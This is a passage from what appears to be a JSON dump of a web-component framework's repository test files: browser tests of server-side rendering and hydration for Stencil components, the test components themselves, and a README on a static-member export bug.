\"cmp-b\": HTMLCmpBElement;\n        \"cmp-c\": HTMLCmpCElement;\n        \"cmp-client-scoped\": HTMLCmpClientScopedElement;\n        \"cmp-client-shadow\": HTMLCmpClientShadowElement;\n        \"cmp-d\": HTMLCmpDElement;\n        \"cmp-scoped-a\": HTMLCmpScopedAElement;\n        \"cmp-scoped-b\": HTMLCmpScopedBElement;\n        \"cmp-text-blue\": HTMLCmpTextBlueElement;\n        \"cmp-text-green\": HTMLCmpTextGreenElement;\n        \"test-svg\": HTMLTestSvgElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface AppRoot {\n    }\n    interface CmpA {\n    }\n    interface CmpB {\n    }\n    interface CmpC {\n    }\n    interface CmpClientScoped {\n    }\n    interface CmpClientShadow {\n    }\n    interface CmpD {\n        /**\n          * @default ''\n         */\n        \"uniqueId\"?: string;\n    }\n    interface CmpScopedA {\n    }\n    interface CmpScopedB {\n    }\n    interface CmpTextBlue {\n    }\n    interface CmpTextGreen {\n    }\n    interface TestSvg {\n    }\n\n    interface CmpDAttributes {\n        \"uniqueId\": string;\n    }\n\n    interface IntrinsicElements {\n        \"app-root\": AppRoot;\n        \"cmp-a\": CmpA;\n        \"cmp-b\": CmpB;\n        \"cmp-c\": CmpC;\n        \"cmp-client-scoped\": CmpClientScoped;\n        \"cmp-client-shadow\": CmpClientShadow;\n        \"cmp-d\": Omit<CmpD, keyof CmpDAttributes> & { [K in keyof CmpD & keyof CmpDAttributes]?: CmpD[K] } & { [K in keyof CmpD & keyof CmpDAttributes as `attr:${K}`]?: CmpDAttributes[K] } & { [K in keyof CmpD & keyof CmpDAttributes as `prop:${K}`]?: CmpD[K] };\n        \"cmp-scoped-a\": CmpScopedA;\n        \"cmp-scoped-b\": CmpScopedB;\n        \"cmp-text-blue\": CmpTextBlue;\n        \"cmp-text-green\": CmpTextGreen;\n        \"test-svg\": TestSvg;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"app-root\": LocalJSX.IntrinsicElements[\"app-root\"] & JSXBase.HTMLAttributes<HTMLAppRootElement>;\n            \"cmp-a\": LocalJSX.IntrinsicElements[\"cmp-a\"] & JSXBase.HTMLAttributes<HTMLCmpAElement>;\n            \"cmp-b\": LocalJSX.IntrinsicElements[\"cmp-b\"] & JSXBase.HTMLAttributes<HTMLCmpBElement>;\n            \"cmp-c\": LocalJSX.IntrinsicElements[\"cmp-c\"] & JSXBase.HTMLAttributes<HTMLCmpCElement>;\n            \"cmp-client-scoped\": LocalJSX.IntrinsicElements[\"cmp-client-scoped\"] & JSXBase.HTMLAttributes<HTMLCmpClientScopedElement>;\n            \"cmp-client-shadow\": LocalJSX.IntrinsicElements[\"cmp-client-shadow\"] & JSXBase.HTMLAttributes<HTMLCmpClientShadowElement>;\n            \"cmp-d\": LocalJSX.IntrinsicElements[\"cmp-d\"] & JSXBase.HTMLAttributes<HTMLCmpDElement>;\n            \"cmp-scoped-a\": LocalJSX.IntrinsicElements[\"cmp-scoped-a\"] & JSXBase.HTMLAttributes<HTMLCmpScopedAElement>;\n            \"cmp-scoped-b\": LocalJSX.IntrinsicElements[\"cmp-scoped-b\"] & JSXBase.HTMLAttributes<HTMLCmpScopedBElement>;\n            \"cmp-text-blue\": LocalJSX.IntrinsicElements[\"cmp-text-blue\"] & JSXBase.HTMLAttributes<HTMLCmpTextBlueElement>;\n            \"cmp-text-green\": LocalJSX.IntrinsicElements[\"cmp-text-green\"] & JSXBase.HTMLAttributes<HTMLCmpTextGreenElement>;\n            \"test-svg\": LocalJSX.IntrinsicElements[\"test-svg\"] & JSXBase.HTMLAttributes<HTMLTestSvgElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/wdio/ssr-hydration/cmp.test.tsx",
    "content": "import { browser } from '@wdio/globals';\n\nimport { renderToString } from '../hydrate/index.mjs';\nimport { setupIFrameTest } from '../util.js';\n\ndescribe('Sanity check SSR > Client hydration', () => {\n  const testSuites = async (\n    root: Document,\n    method: 'scoped' | 'declarative-shadow-dom',\n    renderType: 'dist' | 'custom-elements',\n  ) => {\n    function getNodeNames(chidNodes: NodeListOf<ChildNode>) {\n      return Array.from(chidNodes)\n        .flatMap((node) => {\n          if (node.nodeType === 3) {\n            if (node.textContent?.trim()) {\n              return 'text';\n            } else {\n              return [];\n            }\n          } else if (node.nodeType === 8) {\n            return 'comment';\n          } else {\n            return node.nodeName.toLowerCase();\n          }\n        })\n        .join(' ');\n    }\n\n    return {\n      sanityCheck: async () => {\n        if (root.querySelector('#stage')) {\n          root.querySelector('#stage')?.remove();\n          await browser.waitUntil(async () => !root.querySelector('#stage'));\n        }\n        const { html } = await renderToString(\n          `\n          <ssr-shadow-cmp>\n            A text node\n            <!-- a comment -->\n            <div>An element</div>\n            <!-- another comment -->\n            Another text node\n          </ssr-shadow-cmp>\n        `,\n          {\n            fullDocument: true,\n            serializeShadowRoot: method,\n            constrainTimeouts: false,\n            prettyHTML: false,\n          },\n        );\n        const stage = root.createElement('div');\n        stage.setAttribute('id', 'stage');\n        stage.setHTMLUnsafe(html);\n        root.body.appendChild(stage);\n\n        if (renderType === 'dist') {\n          // @ts-expect-error resolved through WDIO\n          const { defineCustomElements } = await import('/dist/loader/index.js');\n          defineCustomElements().catch(console.error);\n\n          // wait for Stencil to take over and reconcile\n          await browser.waitUntil(async () => customElements.get('ssr-shadow-cmp'));\n          expect(typeof customElements.get('ssr-shadow-cmp')).toBe('function');\n        }\n\n        const ele = root.querySelector('ssr-shadow-cmp');\n        await browser.waitUntil(async () => !!ele.childNodes);\n        await browser.pause(100);\n\n        // Checking slotted content\n        await expect(getNodeNames(ele.childNodes)).toBe(`text comment div comment text`);\n\n        // Checking shadow content\n        // Shadow DOM uses adoptedStyleSheets, so no <style> element after hydration\n        await expect(getNodeNames(ele.shadowRoot.childNodes)).toBe('div');\n\n        // Checking styling\n        await expect(getComputedStyle(ele).color).toBe('rgb(255, 0, 0)'); // red\n        await expect(getComputedStyle(ele).backgroundColor).toBe('rgb(255, 255, 0)'); // yellow\n      },\n\n      slots: async () => {\n        if (root.querySelector('#stage')) {\n          root.querySelector('#stage')?.remove();\n          await browser.waitUntil(async () => !root.querySelector('#stage'));\n        }\n        const { html } = await renderToString(\n          `\n          <ssr-shadow-cmp><p>Default slot content</p> <p slot=\"client-only\">Client-only slot content</p></ssr-shadow-cmp>\n        `,\n          {\n            fullDocument: true,\n            serializeShadowRoot: method,\n            constrainTimeouts: false,\n            prettyHTML: false,\n          },\n        );\n        const stage = root.createElement('div');\n        stage.setAttribute('id', 'stage');\n        stage.setHTMLUnsafe(html);\n        root.body.appendChild(stage);\n\n        if (renderType === 'dist') {\n          // @ts-expect-error resolved through WDIO\n          const { defineCustomElements } = await import('/dist/loader/index.js');\n          defineCustomElements().catch(console.error);\n\n          // wait for Stencil to take over and reconcile\n          await browser.waitUntil(async () => customElements.get('ssr-shadow-cmp'));\n          expect(typeof customElements.get('ssr-shadow-cmp')).toBe('function');\n        }\n\n        await browser.waitUntil(async () => root.querySelector('ssr-shadow-cmp [slot=\"client-only\"]:not([hidden])'));\n        await expect(root.querySelector('ssr-shadow-cmp').textContent).toContain(\n          'Default slot content Client-only slot content',\n        );\n      },\n\n      whiteSpace: async () => {\n        if (root.querySelector('#stage')) {\n          root.querySelector('#stage')?.remove();\n          await browser.waitUntil(async () => !root.querySelector('#stage'));\n        }\n        const { html } = await renderToString(\n          `\n          <ssr-shadow-cmp>\n            <i>Chocolate</i> <a href=\"#\">bonbon</a> <strong>lollipop</strong>\n          </ssr-shadow-cmp>\n        `,\n          {\n            fullDocument: true,\n            serializeShadowRoot: method,\n            constrainTimeouts: false,\n            prettyHTML: false,\n          },\n        );\n        const stage = root.createElement('div');\n        stage.setAttribute('id', 'stage');\n        stage.setHTMLUnsafe(html);\n        root.body.appendChild(stage);\n\n        if (renderType === 'dist') {\n          // @ts-expect-error resolved through WDIO\n          const { defineCustomElements } = await import('/dist/loader/index.js');\n          defineCustomElements().catch(console.error);\n\n          // wait for Stencil to take over and reconcile\n          await browser.waitUntil(async () => customElements.get('ssr-shadow-cmp'));\n          expect(typeof customElements.get('ssr-shadow-cmp')).toBe('function');\n        }\n\n        await expect(root.querySelector('ssr-shadow-cmp').textContent).toContain('Chocolate bonbon lollipop');\n      },\n    };\n  };\n\n  describe('dist / declarative-shadow-dom', () => {\n    let testSuite;\n    beforeEach(async () => {\n      testSuite = await testSuites(document, 'declarative-shadow-dom', 'dist');\n    });\n\n    it('verifies all nodes & styles are preserved during hydration', async () => {\n      await testSuite.sanityCheck();\n    });\n\n    it('resolves slots correctly during client-side hydration', async () => {\n      await testSuite.slots();\n    });\n\n    it('retains whitespace correctly during client-side hydration', async () => {\n      await testSuite.whiteSpace();\n    });\n  });\n\n  describe('dist / scoped', () => {\n    let testSuite;\n    beforeEach(async () => {\n      testSuite = await testSuites(document, 'scoped', 'dist');\n    });\n\n    it('verifies all nodes & styles are preserved during hydration', async () => {\n      await testSuite.sanityCheck();\n    });\n\n    it('resolves slots correctly during client-side hydration', async () => {\n      await testSuite.slots();\n    });\n\n    it('retains whitespace correctly during client-side hydration', async () => {\n      await testSuite.whiteSpace();\n    });\n\n    it('checks renderToString adds scoped class names', async () => {\n      const { html } = await renderToString(\n        `\n        <ssr-shadow-cmp>\n          <p>Default slot content</p>\n          <p slot=\"client-only\">Client-only slot content</p>\n        </ssr-shadow-cmp>\n      `,\n        {\n          fullDocument: true,\n          serializeShadowRoot: 'scoped',\n          constrainTimeouts: false,\n          prettyHTML: false,\n        },\n      );\n      // standard scoped class + ::slotted scoped class\n      expect(html).toContain('sc-ssr-shadow-cmp sc-ssr-shadow-cmp-s');\n    });\n  });\n\n  describe('custom-elements / declarative-shadow-dom', () => {\n    let doc: Document;\n    let testSuite;\n\n    beforeEach(async () => {\n      await setupIFrameTest('/ssr-hydration/custom-element.html', 'dsd-custom-elements');\n      const frameEle: HTMLIFrameElement = document.querySelector('iframe#dsd-custom-elements');\n      doc = frameEle.contentDocument;\n      testSuite = await testSuites(doc, 'declarative-shadow-dom', 'custom-elements');\n    });\n\n    it('verifies all nodes & styles are preserved during hydration', async () => {\n      await testSuite.sanityCheck();\n    });\n\n    it('resolves slots correctly during client-side hydration', async () => {\n      await testSuite.slots();\n    });\n\n    it('retains whitespace correctly during client-side hydration', async () => {\n      await testSuite.whiteSpace();\n    });\n  });\n\n  describe('custom-elements / scoped', () => {\n    let doc: Document;\n    let testSuite;\n\n    beforeEach(async () => {\n      await setupIFrameTest('/ssr-hydration/custom-element.html', 'scoped-custom-elements');\n      const frameEle: HTMLIFrameElement = document.querySelector('iframe#scoped-custom-elements');\n      doc = frameEle.contentDocument;\n      testSuite = await testSuites(doc, 'scoped', 'custom-elements');\n    });\n\n    it('verifies all nodes & styles are preserved during hydration', async () => {\n      await testSuite.sanityCheck();\n    });\n\n    it('resolves slots correctly during client-side hydration', async () => {\n      await testSuite.slots();\n    });\n\n    it('retains whitespace correctly during client-side hydration', async () => {\n      await testSuite.whiteSpace();\n    });\n  });\n\n  it('checks perf when loading lots of the same component', async () => {\n    performance.mark('start-dsd');\n\n    await renderToString(\n      Array(50)\n        .fill(0)\n        .map((_, i) => `<ssr-shadow-cmp>Value ${i}</ssr-shadow-cmp>`)\n        .join(''),\n      {\n        fullDocument: true,\n        serializeShadowRoot: 'declarative-shadow-dom',\n        constrainTimeouts: false,\n      },\n    );\n    performance.mark('end-dsd');\n    let renderTime = performance.measure('render', 'start-dsd', 'end-dsd').duration;\n    await expect(renderTime).toBeLessThan(50);\n\n    performance.mark('start-scoped');\n\n    await renderToString(\n      Array(50)\n        .fill(0)\n        .map((_, i) => `<ssr-shadow-cmp>Value ${i}</ssr-shadow-cmp>`)\n        .join(''),\n      {\n        fullDocument: true,\n        serializeShadowRoot: 'scoped',\n        constrainTimeouts: false,\n      },\n    );\n    performance.mark('end-scoped');\n    renderTime = performance.measure('render', 'start-scoped', 'end-scoped').duration;\n    await expect(renderTime).toBeLessThan(50);\n  });\n\n  it('retains the order of slotted nodes in serializeShadowRoot `scoped` components', async () => {\n    await setupIFrameTest('/ssr-hydration/custom-element.html', 'dsd-custom-elements');\n    const frameEle: HTMLIFrameElement = document.querySelector('iframe#dsd-custom-elements');\n    const doc = frameEle.contentDocument;\n\n    const { html } = await renderToString(\n      `<wrap-ssr-shadow-cmp>\n          <ssr-shadow-cmp>\n            <span>Should be first</span>\n            <span slot=\"top\">Should be second</span>\n          </ssr-shadow-cmp>\n        </wrap-ssr-shadow-cmp>`,\n      {\n        fullDocument: true,\n        serializeShadowRoot: 'scoped',\n        prettyHTML: false,\n      },\n    );\n    const stage = doc.createElement('div');\n    stage.setAttribute('id', 'stage');\n    stage.setHTMLUnsafe(html);\n    doc.body.appendChild(stage);\n\n    const childComponent = doc.querySelector('ssr-shadow-cmp');\n    await browser.waitUntil(async () => !!childComponent.childNodes);\n    await browser.pause(100);\n\n    childComponent.childNodes[0].textContent = 'Should be first';\n    childComponent.childNodes[1].textContent = 'Should be second';\n  });\n\n  it('correctly renders ::part css selectors for scoped components', async () => {\n    // purposefully load in the iframe where these components are not defined\n    // so we get only render static HTML\n\n    await setupIFrameTest('/ssr-hydration/custom-element.html', 'dsd-custom-elements');\n    const frameEle: HTMLIFrameElement = document.querySelector('iframe#dsd-custom-elements');\n    const doc = frameEle.contentDocument;\n\n    // scoped in dsd component\n\n    let result = await renderToString(\n      `\n      <div>\n        <part-wrap-ssr-shadow-cmp>Inside shadowroot</wrap-ssr-shadow-cmp>\n      </div>`,\n      {\n        fullDocument: true,\n        serializeShadowRoot: {\n          default: 'declarative-shadow-dom',\n          scoped: ['part-ssr-shadow-cmp'],\n        },\n      },\n    );\n    let stage = doc.createElement('div');\n    stage.setAttribute('id', 'stage');\n    stage.setHTMLUnsafe(result.html);\n    doc.body.appendChild(stage);\n\n    let childComponentPart = doc\n      .querySelector('part-wrap-ssr-shadow-cmp')\n      .shadowRoot.querySelector('part-ssr-shadow-cmp [part=\"container\"]');\n    await browser.waitUntil(async () => !!childComponentPart);\n    await browser.pause(100);\n\n    await expect(getComputedStyle(childComponentPart).backgroundColor).toBe('rgb(255, 192, 203)'); // pink\n\n    // scoped in scoped component\n\n    // clear the stage\n    doc.querySelector('#stage')?.remove();\n    await browser.waitUntil(async () => !doc.querySelector('#stage'));\n\n    result = await renderToString(\n      `\n      <div>\n        <part-wrap-ssr-shadow-cmp>Inside shadowroot</wrap-ssr-shadow-cmp>\n      </div>`,\n      {\n        fullDocument: true,\n        serializeShadowRoot: 'scoped',\n      },\n    );\n    stage = doc.createElement('div');\n    stage.setAttribute('id', 'stage');\n    stage.setHTMLUnsafe(result.html);\n    doc.body.appendChild(stage);\n\n    childComponentPart = doc.querySelector('part-wrap-ssr-shadow-cmp part-ssr-shadow-cmp [part=\"container\"]');\n    await browser.waitUntil(async () => !!childComponentPart);\n    await browser.pause(100);\n\n    await expect(getComputedStyle(childComponentPart).backgroundColor).toBe('rgb(255, 192, 203)'); // pink\n  });\n\n  it('renders named slots in the correct order in the DOM in scoped components', async () => {\n    if (document.querySelector('#stage')) {\n      document.querySelector('#stage')?.remove();\n      await browser.waitUntil(async () => !document.querySelector('#stage'));\n    }\n    const { html } = await renderToString(\n      `\n      <div>\n        <ssr-order-wrap-cmp>\n          <div slot=\"things\">one</div>\n          <div slot=\"things\">2</div>\n          <div slot=\"things\">3</div>\n        </ssr-order-wrap-cmp>\n      </div>`,\n      {\n        fullDocument: true,\n        serializeShadowRoot: 'scoped',\n      },\n    );\n    const stage = document.createElement('div');\n    stage.setAttribute('id', 'stage');\n    stage.setHTMLUnsafe(html);\n    document.body.appendChild(stage);\n\n    // @ts-expect-error resolved through WDIO\n    const { defineCustomElements } = await import('/dist/loader/index.js');\n    defineCustomElements().catch(console.error);\n\n    // wait for Stencil to take over and reconcile\n    await browser.waitUntil(async () => customElements.get('ssr-order-wrap-cmp'));\n    expect(typeof customElements.get('ssr-order-wrap-cmp')).toBe('function');\n\n    const nestedCmp = document.querySelector('ssr-order-wrap-cmp').shadowRoot.querySelector('ssr-order-cmp');\n    expect((nestedCmp.childNodes[0] as HTMLElement).tagName).toBe('SLOT');\n    expect(nestedCmp.childNodes[1].textContent).toBe('after');\n  });\n\n  it('adds nested scoped styles to parent shadow root', async () => {\n    if (document.querySelector('#stage')) {\n      document.querySelector('#stage')?.remove();\n      await browser.waitUntil(async () => !document.querySelector('#stage'));\n    }\n    const { html } = await renderToString(\n      `\n      <div>\n        <shadow-ssr-parent-cmp>\n          <div slot=\"things\">one</div>\n          <div slot=\"things\">2</div>\n          <div slot=\"things\">3</div>\n        </shadow-ssr-parent-cmp>\n      </div>`,\n      {\n        fullDocument: true,\n        serializeShadowRoot: 'scoped',\n      },\n    );\n    const stage = document.createElement('div');\n    stage.setAttribute('id', 'stage');\n    stage.setHTMLUnsafe(html);\n    document.body.appendChild(stage);\n\n    // @ts-expect-error resolved through WDIO\n    const { defineCustomElements } = await import('/dist/loader/index.js');\n    defineCustomElements().catch(console.error);\n\n    // wait for Stencil to take over and reconcile\n    await browser.waitUntil(async () => customElements.get('shadow-ssr-parent-cmp'));\n    expect(typeof customElements.get('shadow-ssr-parent-cmp')).toBe('function');\n\n    const wrapCmp = document.querySelector('shadow-ssr-parent-cmp');\n    // check that <style> tag for `scoped-cmp` gets added\n    expect(wrapCmp.shadowRoot.querySelector('style[sty-id=\"sc-scoped-ssr-child-cmp\"]')).toBeTruthy();\n  });\n\n  it('scoped components forward slots into shadow components', async () => {\n    if (document.querySelector('#stage')) {\n      document.querySelector('#stage')?.remove();\n      await browser.waitUntil(async () => !document.querySelector('#stage'));\n    }\n    const { html } = await renderToString(\n      `\n      <div>\n        <scoped-ssr-parent-cmp>\n          <!-- 1 --> 2 <div>3</div> <!-- 4 -->\n        </scoped-ssr-parent-cmp\n      </div>`,\n      {\n        fullDocument: true,\n        serializeShadowRoot: 'scoped',\n      },\n    );\n    const stage = document.createElement('div');\n    stage.setAttribute('id', 'stage');\n    stage.setHTMLUnsafe(html);\n    document.body.appendChild(stage);\n\n    // @ts-expect-error resolved through WDIO\n    const { defineCustomElements } = await import('/dist/loader/index.js');\n    defineCustomElements().catch(console.error);\n\n    // wait for Stencil to take over and reconcile\n    await browser.waitUntil(async () => customElements.get('shadow-ssr-parent-cmp'));\n    expect(typeof customElements.get('scoped-ssr-parent-cmp')).toBe('function');\n\n    const wrapCmp = document.querySelector('scoped-ssr-parent-cmp');\n    const children = wrapCmp.childNodes;\n    // check that <style> tag for `scoped-cmp` gets added\n    expect(children.length).toBe(7);\n    expect(children[1].nodeValue).toBe(' 1 ');\n    expect(children[2].textContent).toBe(' 2 ');\n    expect(children[3].textContent).toBe('3');\n    expect((children[3] as Element).checkVisibility()).toBe(true);\n    expect(children[5].nodeValue).toBe(' 4 ');\n  });\n\n  it('slots nodes appropriately in a `scoped: true` parent with `serializeShadowRoot: \"scoped\"` child', async () => {\n    if (document.querySelector('#stage')) {\n      document.querySelector('#stage')?.remove();\n      await browser.waitUntil(async () => !document.querySelector('#stage'));\n    }\n    const { html } = await renderToString(\n      `<scoped-ssr-parent-cmp>\n          <div slot=\"things\">one</div>\n          <div slot=\"things\">2</div>\n          <div slot=\"things\">3</div>\n        </scoped-ssr-parent-cmp>`,\n      {\n        fullDocument: true,\n        serializeShadowRoot: 'scoped',\n      },\n    );\n    const stage = document.createElement('div');\n    stage.setAttribute('id', 'stage');\n    stage.setHTMLUnsafe(html);\n    document.body.appendChild(stage);\n\n    // @ts-expect-error resolved through WDIO\n    const { defineCustomElements } = await import('/dist/loader/index.js');\n    defineCustomElements().catch(console.error);\n\n    // wait for Stencil to take over and reconcile\n    await browser.waitUntil(async () => customElements.get('scoped-ssr-parent-cmp'));\n    expect(typeof customElements.get('scoped-ssr-parent-cmp')).toBe('function');\n\n    const wrapCmp = document.querySelector('scoped-ssr-parent-cmp');\n    expect(wrapCmp.childNodes.length).toBe(4);\n    expect(wrapCmp.textContent.trim()).toBe('one23');\n    expect(wrapCmp.children[0].checkVisibility()).toBe(true);\n    expect(wrapCmp.children[1].checkVisibility()).toBe(true);\n    expect(wrapCmp.children[2].checkVisibility()).toBe(true);\n  });\n\n  it('correctly renders a slow to hydrate component with a prop', async () => {\n    if (document.querySelector('#stage')) {\n      document.querySelector('#stage')?.remove();\n      await browser.waitUntil(async () => !document.querySelector('#stage'));\n    }\n    const { html } = await renderToString(`<slow-ssr-prop></slow-ssr-prop>`, {\n      fullDocument: true,\n      serializeShadowRoot: 'declarative-shadow-dom',\n      beforeHydrate: (doc) => {\n        // simulate a slow prop update\n        const slowCmp = doc.querySelector('slow-ssr-prop');\n        slowCmp.anArray = ['one', 'two', 'three'];\n      },\n    });\n    const stage = document.createElement('div');\n    stage.setAttribute('id', 'stage');\n    stage.setHTMLUnsafe(html);\n    document.body.appendChild(stage);\n\n    // @ts-expect-error resolved through WDIO\n    const { defineCustomElements } = await import('/dist/loader/index.js');\n    defineCustomElements().catch(console.error);\n\n    // wait for Stencil to take over and reconcile\n    await browser.waitUntil(async () => customElements.get('slow-ssr-prop'));\n    expect(typeof customElements.get('slow-ssr-prop')).toBe('function');\n\n    const slowCmp: any = document.querySelector('slow-ssr-prop');\n    setTimeout(() => {\n      slowCmp.anArray = ['one', 'two', 'three', 'four'];\n    }, 400);\n    await browser.pause(600);\n\n    expect(slowCmp.shadowRoot.querySelector('div').textContent).toBe('An array component:onetwothreefour');\n  });\n});\n"
  },
  {
    "path": "test/wdio/ssr-hydration/cmp.tsx",
    "content": "import { Build, Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'ssr-shadow-cmp',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      padding: 10px;\n      border: 2px solid #000;\n      background: yellow;\n      color: red;\n    }\n  `,\n})\nexport class SsrShadowCmp {\n  @Prop() selected: boolean;\n\n  render() {\n    return (\n      <div\n        class={{\n          selected: this.selected,\n        }}\n      >\n        <slot name=\"top\" />\n        <slot />\n        {Build.isBrowser && <slot name=\"client-only\" />}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ssr-hydration/custom-element.html",
    "content": "<html>\n<head>\n  <title>SSR testing dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement as childDefine } from '/test-components/ssr-shadow-cmp.js';\n    import { defineCustomElement as wrapDefine } from '/test-components/wrap-ssr-shadow-cmp.js';\n    wrapDefine();\n    childDefine();\n  </script>\n</head>\n<body>\n  \n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ssr-hydration/order-cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'ssr-order-cmp',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      border: 3px solid red;\n    }\n  `,\n})\nexport class MyApp {\n  render() {\n    return (\n      <Host>\n        Order component. Shadow.\n        <slot />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ssr-hydration/order-wrap-cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'ssr-order-wrap-cmp',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      border: 3px solid blue;\n    }\n  `,\n})\nexport class MyApp {\n  render() {\n    return (\n      <Host>\n        <div>\n          <ssr-order-cmp>\n            <slot name=\"things\" />\n            <div class=\"AFTER\">after</div>\n          </ssr-order-cmp>\n          <div>\n            <slot />\n          </div>\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ssr-hydration/part-cmp.tsx",
    "content": "import { Build, Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'part-ssr-shadow-cmp',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      padding: 10px;\n      border: 2px solid #000;\n      background: yellow;\n      color: red;\n    }\n  `,\n})\nexport class SsrShadowCmp {\n  @Prop() selected: boolean;\n\n  render() {\n    return (\n      <div\n        class={{\n          selected: this.selected,\n        }}\n        part=\"container\"\n      >\n        <slot name=\"top\" />\n        <slot />\n        {Build.isBrowser && <slot name=\"client-only\" />}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ssr-hydration/part-wrap-cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'part-wrap-ssr-shadow-cmp',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      padding: 10px;\n      border: 2px solid #000;\n      background: blue;\n      color: white;\n    }\n    part-ssr-shadow-cmp::part(container) {\n      border: 2px solid red;\n      background: pink;\n    }\n  `,\n})\nexport class SsrWrapShadowCmp {\n  @Prop() selected: boolean;\n\n  render() {\n    return (\n      <div\n        class={{\n          selected: this.selected,\n        }}\n      >\n        Nested component:\n        <part-ssr-shadow-cmp>\n          <slot />\n        </part-ssr-shadow-cmp>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ssr-hydration/scoped-child-cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-ssr-child-cmp',\n  scoped: true,\n  styles: `\n    :host {\n      display: block;\n      border: 3px solid red;\n    }\n  `,\n})\nexport class MyApp {\n  render() {\n    return (\n      <Host>\n        <div>\n          <slot />\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ssr-hydration/scoped-parent-cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-ssr-parent-cmp',\n  scoped: true,\n  styles: `\n    :host {\n      display: block;\n      border: 3px solid blue;\n    }\n  `,\n})\nexport class MyApp {\n  render() {\n    return (\n      <Host>\n        <div>\n          Scoped parent with named slot.\n          <shadow-ssr-child-cmp>\n            <slot />\n            <slot name=\"things\" />\n          </shadow-ssr-child-cmp>\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ssr-hydration/shadow-child-cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'shadow-ssr-child-cmp',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      border: 3px solid red;\n    }\n  `,\n})\nexport class MyApp {\n  render() {\n    return (\n      <Host>\n        <div>\n          Shadow Child 1.\n          <ssr-order-cmp>\n            <slot />\n          </ssr-order-cmp>\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ssr-hydration/shadow-parent-cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'shadow-ssr-parent-cmp',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      border: 3px solid blue;\n    }\n  `,\n})\nexport class MyApp {\n  render() {\n    return (\n      <Host>\n        <div>\n          <scoped-ssr-child-cmp>\n            <slot name=\"things\" />\n          </scoped-ssr-child-cmp>\n          <div>\n            <slot />\n          </div>\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ssr-hydration/slow-prop.tsx",
    "content": "import { Component, h, Host, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slow-ssr-prop',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n    }\n  `,\n})\nexport class MyApp {\n  @Prop() anArray = [];\n\n  render() {\n    return (\n      <Host>\n        <div>\n          An array component:\n          <ol>\n            {this.anArray.map((item) => (\n              <li>{item}</li>\n            ))}\n          </ol>\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ssr-hydration/wrap-cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'wrap-ssr-shadow-cmp',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      padding: 10px;\n      border: 2px solid #000;\n      background: blue;\n      color: white;\n    }\n  `,\n})\nexport class SsrWrapShadowCmp {\n  @Prop() selected: boolean;\n\n  render() {\n    return (\n      <div\n        class={{\n          selected: this.selected,\n        }}\n      >\n        Nested component:\n        <ssr-shadow-cmp>\n          <slot />\n        </ssr-shadow-cmp>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/static-members/README.md",
    "content": "This test suite is focused on ensuring that component's with static class fields compiles correctly.\nWith TypeScript v5.0, exported classes with static exports would be compiled as:\n\n```ts\nclass StaticMembers {};\nStaticMembers.property = '';\nStaticMembers.anotherProperty = '';\nexport { StaticMembers };\n```\n\nHowever, Stencil would also inject the `export` keyword in front of the class declaration, resulting in two exports:\n\n```ts\nexport class StaticMembers {};\nStaticMembers.property = '';\nStaticMembers.anotherProperty = '';\nexport { StaticMembers }; // 2 exports causes an error!\n```\n\nWhich produces an error when we get to the rollup stage:\n\n```console\n[ ERROR ]  Rollup: Parse Error: ./test-app/static-members/cmp.tsx:35:9\n           Duplicate export 'StaticMembers' (Note that you need plugins to import files that are not JavaScript) at\n           ... (elided) ...\n```\n\nSee: https://github.com/stenciljs/core/issues/4424 for more information\nSee: https://www.typescriptlang.org/play?#code/KYDwDg9gTgLgBAYwDYEMDOa4GUYpgSwQFlgBbAI2CkwG8BYAKDjjVwITjCgjCpgE84AXjgAmANyMAvkA\nfor a TS playground reproduction of the `export` keyword being moved around"
  },
  {
    "path": "test/wdio/static-members/static-decorated-members.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'static-decorated-members',\n})\nexport class StaticDecoratedMembers {\n  /**\n   * See the spec file associated with this file for the motivation for this test\n   */\n  @State() static property = '@State-ful';\n\n  render() {\n    return <div>This is a component with a static Stencil decorated member</div>;\n  }\n}\n"
  },
  {
